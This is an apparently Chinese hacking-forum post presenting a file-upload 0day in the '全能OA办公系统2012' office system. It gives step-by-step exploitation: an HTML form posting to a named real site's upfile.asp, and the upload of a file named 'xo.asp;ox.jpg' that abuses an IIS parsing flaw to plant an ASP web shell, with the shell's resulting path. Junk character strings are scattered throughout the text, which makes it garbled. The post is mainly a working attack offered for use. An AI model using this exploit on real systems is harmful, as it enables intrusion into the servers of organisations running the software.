全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
+ i" _- W# x3 p. i​
系统介绍：
2 c8 O3 Y& m; H% }5 K
7 H$ Y# u, P5 I3 e0 G全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
, W+ c& q. c+ D3 j5 i6 X; ]2 v0 L
主要功能：
公司通告
工作计划
通讯助理
客户资源
我的公文
+ V7 N& w- l, \, ~+ n/ y7 m5 B公文传阅
( W  A  m9 b8 |" w  O" ~( `公共资源
资源预约
8 s/ }8 [0 l- z; F. `, e" N今日考勤
( [7 J: v- F9 ?! j3 g; A5 H* t个人计划
个人通讯录
个人基本档案
未读邮件
发邮件
" S2 [, y4 F% m1 a+ s收件夹
寄件夹
网络硬盘
网络会议
网络调查
6 U4 Q1 h) A- r! {1 }交流论坛

有兴趣测试的朋友可以下源码看看

源码下载：
2 ~5 Y* U0 a5 X
, Z( T" P; c  Q9 k$ E' M( j8 [http://www.mycodes.net/30/4750.htm

漏洞介绍：

  S5 E3 f. @2 f# \* v' _% k6 v由upfile.asp上传文件漏洞引起

测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
3 J) r8 d( ?$ N( f4 M  i) w
1 I7 X, T" [/ a" h0 N& T如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
  B, h. t6 c+ K/ ^% i
, m5 y( H8 q( A3 |: S如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
! K  c9 S% x; q0 V9 {
0 ?8 F0 T$ G- A

' W, l* }1 l& P5 ?" i01 <table border='0' align="center" cellpadding="5">
  C+ o! e3 r7 d
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
! U% W' U4 f* H# ^+ e
04             <td>报错：</td>
' L/ d3 x% Z' Q9 v0 E
* n/ L3 O) n; Q0 k; n9 c+ B05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
- X% p" r' I% ^
07               <input type='radio' name='errnumber' value='1' checked>

2 ^/ e% Y9 t/ |7 I! ?08               报错方式
9 l' I8 m! I1 ]4 E
09               <input type='radio' name='errnumber' value='2'>
+ g7 S& `! Q% ]$ d' d2 c4 L
2 b8 Y5 v" z# F1 D% @" ~8 l5 J10               直接覆盖</td>
! ?9 I% E, ]7 A3 O; Z. I- y
11           </tr>

12           <tr>

1 g3 g5 c$ U! ~% W13             <td>主题：</td>

" G4 Q) `- y$ e* X1 t# @+ F14             <td><input type='text' name='filename' size='30'></td>
9 P# ]6 u' t  l! B3 Z  d# F
; u% W8 y0 g% o/ `8 A4 Y15           </tr>

! h% J6 _9 u" ^; _' o. `16           <tr>

' G/ h- }% z! Q+ @" h! ~, }- Y, q/ }17             <td>文件：</td>
; M8 p/ Z" W6 T8 F/ K& [% ~
. b6 ~; T8 _9 m* E1 u% |18             <td><input type="file"name="fruit"size="30"></td>
; W  U+ q1 N% t9 W- u
19           </tr>

20           <tr>
: S5 `' D0 `7 w  E
21             <td valign='top'>简介：</td>
/ q, c/ ?: u2 V: a: A
, B9 b4 [' v. w1 z9 g: ^, C22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

' k+ b" ~; Q2 }23           </tr>
- x. y& [5 S- M5 k# t
, [3 X$ t7 x) t0 G1 L24   
" l& n+ m. p* Y' Y$ j7 M
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

% M1 J9 j% y$ a. J; l( B  a/ P2 v26           </tr>
; M1 B# }1 E+ D" Z  S3 O
9 h  y- s" ~# E# ^' b" b27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

6 P$ }2 E; s$ G2 R% }* e+ }

2 _5 P1 T! C% ]8 m) F) L% s上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

% G1 X  y3 K5 o8 s+ d) n此漏洞需要配合解析漏洞利用。